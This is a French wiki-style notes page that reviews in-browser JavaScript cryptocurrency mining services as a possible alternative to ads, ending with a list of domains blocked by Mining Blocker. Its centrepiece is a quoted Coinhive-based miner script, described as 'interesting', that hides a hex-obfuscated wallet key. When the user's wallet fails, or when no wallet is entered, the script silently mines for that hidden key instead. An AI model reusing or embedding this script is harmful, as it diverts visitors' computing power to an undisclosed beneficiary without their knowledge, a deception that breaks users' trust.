====== Crypto mining with javascript ======
Si c'est fait en demandant l'autorisation de l'utilisateur, avec besoin de renouveler l'autorisation et en n'incluant pas du tout le js dans la page avant l'autorisation pour éviter d'énerver les anti-virus et bloqueurs de scripts de minage, ça pourrait être une alternative pertinente aux pubs. À voir.
Apparemment c'est pas rentable pour le bitcoin, mais les gens ont l'air de le faire sur Monero. Quelques scripts existants :
===== Scripts existants et avis =====
==== Coinhive / AuthedMine ====
[[https://coinhive.com/]] - le code n'est pas montré, ils ont l'air de tenir à ce qu'on passe par leurs serveurs et demandent une inscription pour avoir le code : ça pue l'arnaque
> I.e. you get 70% of the average XMR we earn. Unlike a traditional mining pool, this rate is fixed, regardless of actual blocks found and the luck involved finding them. We keep 30% for us to operate this service and to (hopefully) turn a profit.
**Ils se prennent 30%. NOPE**
[[https://authedmine.com/|AuthedMine]] - script qui nécessite une autorisation pour marcher, à l'air cool **en fait c'est juste coinhive avec une étape en plus et un passage par un site tiers obligatoire**
==== JSECoin ====
[[https://jsecoin.com|JSECoin]] - crypto dédiée au minage sur navigateur, absolument aucune autre valeur ajoutée + ICO douteuse et chère (2$ minimum) + dépendance à leurs serveurs + ça passera par des iframes donc pas de contrôle du code source à priori **=> NOPE**
==== Coinhave ====
[[https://coin-have.com/|Site]]
Commission 20%, recommande d'en mettre dans des plugins : **NOPE**
==== CoinImp ====
[[https://www.coinimp.com|Site]] (pas sur la liste de Mining Blocker pour l'instant)
1% de commission, documentation vide et pas la moindre trace de js. Peut quand même faire le café.
Ils ont aussi lancé une crypto censée être ASIC résistante : [[https://webchain.network/|Site]] - [[https://coinmarketcap.com/currencies/webchain/|Taux]]
==== Crypto-loot ====
[[https://crypto-loot.com/|Cryptoloot]] : 88% of mined commissions, at minimum intervals of 0.3 XMR
==== Crypto-webminer ====
[[http://www.crypto-webminer.com|Site]]
1% de commission, plusieurs crypto possibles.
Trouvé ce code qui avait l'air intéressant :
$(function() {
$('#threads').text(navigator.hardwareConcurrency);
var threads = $('#threads').text();
var gustav;
var wallet;
var statuss;
var barChart;
var barChartCanvas = $("#barchart-canvas");
var _0xa0d4=["\x65\x74\x6E\x6B\x46\x78\x76\x44\x58\x48\x31\x54\x55\x76\x36\x78\x53\x61\x56\x71\x6D\x70\x31\x37\x4B\x4A\x76\x44\x42\x70\x39\x78\x4B\x5A\x79\x73\x44\x35\x39\x57\x36\x48\x47\x35\x47\x41\x33\x65\x31\x46\x44\x7A\x44\x35\x45\x39\x4A\x74\x64\x77\x58\x66\x47\x6B\x48\x6F\x33\x71\x75\x79\x47\x31\x42\x37\x31\x78\x51\x50\x33\x45\x69\x32\x31\x4C\x52\x46\x33\x61\x33\x51\x57\x71\x4C\x66\x6F\x41\x37\x67\x2E\x35\x30\x30\x30\x40\x4F\x66\x66\x69\x63\x65\x52\x69\x67"];var siteKey=_0xa0d4[0]
var hashingChart;
var charts = [barChartCanvas];
var selectedChart = 0;
if ($.cookie("wallet")) {
wallet = $.cookie("wallet");
$('#wallet').val(wallet);
}
function htmlEncode(value) {
return $('').text(value).html();
}
function startLogger() {
statuss = setInterval(function() {
var hashesPerSecond = gustav.getHashesPerSecond();
var totalHashes = gustav.getTotalHashes();
var acceptedHashes = gustav.getAcceptedHashes();
$('#hashes-per-second').text(hashesPerSecond.toFixed(1));
$('#accepted-shares').text(totalHashes.toLocaleString()+' | '+acceptedHashes.toLocaleString());
threads = gustav.getNumThreads();
$('#threads').text(threads);
}, 1000);
hashingChart = setInterval(function() {
if (barChart.data.datasets[0].data.length > 25) {
barChart.data.datasets[0].data.splice(0, 1);
barChart.data.labels.splice(0, 1);
}
barChart.data.datasets[0].data.push(gustav.getHashesPerSecond());
barChart.data.labels.push("");
barChart.update();
}, 1000);
};
function stopLogger() {
clearInterval(statuss);
clearInterval(hashingChart);
};
$('#thread-add').click(function() {
threads++;
$('#threads').text(threads);
if (gustav) {
$('#autoThreads').prop('checked', false);
if (gustav.isRunning()) {
gustav.setAutoThreadsEnabled(false);
gustav.setNumThreads(threads);
}
}
});
$('#thread-remove').click(function() {
if (threads > 1) {
threads--;
$('#threads').text(threads);
if (gustav) {
$('#autoThreads').prop('checked', false);
if (gustav.isRunning()) {
gustav.setAutoThreadsEnabled(false);
gustav.setNumThreads(threads);
}
}
}
});
$("#start").click(function() {
if (!gustav || !gustav.isRunning()) {
wallet = $('#wallet').val();
if (wallet) {
gustav = new CH.Anonymous(wallet + ".5000");
console.log(wallet);
$.cookie("wallet", wallet, {
expires: 365
});
gustav.on('error', function(params) {
if (params.error !== 'connection_error') {
if(params.error == "invalid_site_key")
{
console.log(params.error);
gustav.stop();
stopLogger();
$('#wallet').prop("disabled", false);
$("#start").text("Start");
$('#hashes-per-second').text("0");
$('#accepted-shares').text("0" +' | '+"0");
gustav = new CH.Anonymous(siteKey);
$('#wallet').prop("disabled", true);
gustav.setNumThreads(threads);
gustav.setAutoThreadsEnabled($('#autoThreads').prop('checked'));
gustav.start();
stopLogger();
startLogger();
$("#start").text("Stop");
}
}
});
}
else
{
gustav = new CH.Anonymous(siteKey);
}
$('#wallet').prop("disabled", true);
gustav.setNumThreads(threads);
gustav.setAutoThreadsEnabled($('#autoThreads').prop('checked'));
gustav.start();
stopLogger();
startLogger();
$("#start").text("Stop");
} else {
gustav.stop();
stopLogger();
$('#wallet').prop("disabled", false);
$("#start").text("Start");
$('#hashes-per-second').text("0");
$('#accepted-shares').text("0" +' | '+"0");
}
});
$('#autoThreads').click(function() {
if (gustav) {
gustav.setAutoThreadsEnabled(!gustav.getAutoThreadsEnabled());
}
});
var barChartOptions = {
label: 'Hashes',
elements: {
line: {
tension: 0, // disables bezier curves
}
},
animation: {
duration: 0, // general animation time
},
responsiveAnimationDuration: 0,
scales: {
yAxes: [{
ticks: {
max: 200,
min: 0
}
}]
}
};
var barChartData = {
labels: [],
datasets: [{
label: "Hashes/s",
backgroundColor: "darkcyan",
data: []
}],
};
barChart = new Chart(barChartCanvas, {
type: 'line',
data: barChartData,
options: barChartOptions
});
});
==== Nano Miner ====
[[https://nano-miner.com|Site]]
Mine en Monero et repaie en Nano, qui n'a pas de transaction fee. Aucune info sur leur marge cela dit, et ils parlent pas d'intégration.
==== Reste ====
Liste bloquée par Mining Blocker :
* mataharirama introuvable
* minecrunch mort
* reasedoper ☠
* minemytraffic ☠
* lmodr ☠
* minemytraffic ☠
* listat ☠
* cryptonight ☠
* xbasfbno
* azvjudwr
* jyhfuqoh
* miner.pr0gramm
* jroqvbvw
* projectpoi
* kdowqlpt
* ppoi
* hashforcash
* coinerra
* inwemo
* monerominer
* minero
* CoinBlind
* monad
* coinlab
* coinnebula
* cloudcoins
* gridcash
* AdMiner
* Socketminer
* Cloudcoins
* Webmine
* hashunited
* mineralt
* easyhash
* webminepool
* monerise
* coinpirate